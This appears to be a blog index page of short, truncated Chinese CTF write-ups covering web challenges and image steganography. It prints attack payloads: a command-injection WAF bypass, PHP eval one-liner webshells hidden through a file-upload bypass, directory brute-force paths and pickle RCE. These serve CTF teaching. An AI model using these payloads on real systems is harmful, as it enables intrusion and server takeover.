hgameweek2
hgameweek2webWhat the cow say?打开网站,是一个让我们输入内容并且会由牛牛输出的框框,首先试了一些常见的注入命令,发现分别出现了WAF和ERROR,对一些常见关键词如&&出现了WAF过滤初步猜测是命令行注入,查了好久的绕过,原来是利用$()内联执行但是WAF了cat,flag绕过一下,发现显示该文件是个目录,没办法读取!
paylod=$( c$@at /f$@lag_is_here)
再ls+cat flag 就好啦
myflask打开网页是一串python代码要求我们把cookie中的username改为admin才能回显数据,刚开始试了改包,但是没成功,上网查询资料之后发现要伪造session,密钥是开靶机的时间,然后在网上找了脚本加密一下运行,在code里面数据不对,在虚拟机里的数据才是正确的,成功改了cookie。(感觉coded的版本太高了)随后发送post请求,发现 有一个pickle.loads函数。查阅发现能进行pickle的rce然后构造一个简单的脚本,同样在虚拟机里运行。然后cat /flag 就好啦
Sele ...
hgame
hgame week1webezhttp题目要求从vidar.club进入修改请求头之后,根据题目修改use-agent并从本地访问,这里普通的 X-Forwarded-For: 127.0.0.1,或client-ip:127.0.0.1都不可以,查阅资料,我们发现了X-Real-IP:127.0.0.1可以实现功能刚开始以为是需要抓包,尝试了半天结果是上方给的密文,试了一下base64解码,得到flag
bypass it题目要求我们登录,但是首先要注册,点击注册会根据弹窗返回登陆页面,根据提示,我们禁用js,成功登录
Select Courses这题模拟的是选课系统,随机会有课放出来,因此我们搞个爬虫判断课程是否有余量并不断发送请求
12345678910111213141516171819202122232425262728import jsonimport requestsfor i in range(5): while(1): a=requests.get('http://47.100.137.175:30125/api/courses ...
PHP
BUU-PHP爆破目录下载源码查看网址,通过备份网站的线索可以想到是可以通过爆破目录下载源码的,我们直接尝试www.zip,获得源码。
代码审计源码,我们获得了flag.php,经过尝试是一个假flag,于是接着进行代码审计。
123456789101112131415161718192021222324252627282930313233343536373839404142434445#index.php<!DOCTYPE html><head> <meta charset="UTF-8"> <title>I have a cat!</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"> <link rel="stylesheet" href=" ...
文件上传
buu 文件上传漏洞此题是让我们上传文件我们通过尝试,发现需要图片并且是jpg格式,我们首先尝试构造一个一句话木马,方便后续进行读取flag我们通过修改content-type和文件后缀上传文件要求不能是php文件,我们尝试php2,php3,phtml的后缀,最后发现phtml成功绕过这条线索要求不能有<?即不能有php文件内容,我们通过Js内嵌php代码可以实现绕过
<script language='php'>@eval($_POST['cmd']);</script>还是不可以,可能是文件头没有修改,我们查找资料发现jpg的文件头为FFD8FF。通过010editor我们修改文件内容成功绕过,并上传文件(图偷的)
我们想要读取文件,在文件上传漏洞中一般在upload或根目录下,然后就可以进进行一句话木马的常规操作读取flag啦。
hgamemini-TuTu's Diary Book
hgamemini-TuTu’s Diary Book打开界面,是一个可以输入心情和内容的日记本,通过观察没有任何可以下手的地方,首先我们通过爆破网站目录或者根据经验获取网站源码以进行代码审计。
源码获取这里注意常见的源码文件:
1234561.www.zip2.www.tar.gz3.src.zip4.src.tar.gz5.www.tar6./.git/
123456789101112131415161718192021222324252627// newdiary.php<?php $diary_template = "<?xml version='1.0' encoding='utf-8'?> <diary> <date>%s</date> <feeling>%s</feeling> <content>%s</content> ...
hgamemini-Misc总结
hgamemini-图片隐写总结复原图片尺寸
是一张看不出来任何文字和图像的乱码文字,可能是修改了图片的长和宽
通过010 Editor载入png模板,查看到图片的长和高利用Python脚本计算正确的尺寸
12345678910111213import osimport binasciiimport structcrcbp = open("xxx.png", "rb").read() #打开图片for i in range(2000): for j in range(2000): data = crcbp[12:16] + \ struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29] crc32 = binascii.crc32(data) & 0xffffffff if(crc32 == 0x38162a34): #图片当前CRC ...
hgamemini-ReadSomethingUseful
Read Something Useful 题解首先观察界面
发现是通过点击获取不同的表情包,没有任何头绪,于是按F12进入开发者模式发现<!-- try to read index.php first! -->以及
1234 $file = $_GET['file'];if(strpos($file, "emoji") !== false){ include($file.'.php');}
根据提示要读取index.php,而在此处发现文件上传漏洞,可以在此处读取index.php
根据代码,要进入index.php首先要保证传入的value内容中有emoji,但是又要保证读入的内容为index.php,通过查阅资料发现可以通过伪协议来实现文件读取的功能。通过伪协议构造payload构造write=emoji来达到不影响读取同时又有emoji的效果。得到代码
1234567891011121314151617181920212223242526272829303132333435363 ...
hgamemini-mynotebook
my notebook首先查看题目让我们输入一些东西并上传,没有什么输入的头绪,我们按f12查看网页源代码,通过提示,发现可以通过爆破目录得到源码查看login.php代码,发现当 (md5($_POST['check-code-1']) == md5($_POST['check-code-2']))并且$_POST['check-code-1'] == $_POST['check-code-2']会进入index.php
因此我们查阅资料,参考md5这个哈希函数的知识点,md5是通过对代码进行摘要和加密形成的一段密文,所以如果是三个=要求类型也要一致,字符串比较很难达到相等的结果,但题目只要求两个=,因此发现只要传入参数a=s1885207154a,b=s1836677006a,即可来到了index.php的界面,接着查看index.php的代码发现需要观察get.php和./save.php以及mainlass.php
1234567891011121314151617181920212223242 ...
标准一句话木马
标准一句话木马解题过程1234567<?php//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。highlight_file(__FILE__);//标准一句话木马~eval($_POST[1]);?>
由题目可知本题考查的是标准一句话木马。搜索有关一句话木马的资料,发现其中核心是对’eval’发送’post’请求,来执行php代码
所以我们首先查阅关于post的相关资料,记录与get请求的不同
从w3schools得到的标准答案的区别如下:GET在浏览器回退时是无害的,而POST会再次提交请求。GET产生的URL地址可以被Bookmark,而POST不可以。GET请求会被浏览器主动cache,而POST不会,除非手动设置。GET请求只能进行url编码,而POST支持多种编码方式。GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。GET请求在URL中传送的参数是有长度限制的,而POST没有。对参数的数据类型,GET只接受ASCII字符,而POST没有限制。GET比POST更不安全,因为参数直接暴露在URL上,所以不能用 ...
ISCTF wp
圣杯战争解题思路1234567891011121314151617181920212223242526272829303132333435363738394041<?phpclass artifact{ public $excalibuer; public $arrow; public function __toString(){ echo "为Saber选择了对的武器!<br>"; return $this->excalibuer->arrow; }}class prepare{ public $release; public function __get($key){ $functioin = $this->release; echo "蓄力!咖喱棒!!<br>"; return $functioin(); } ...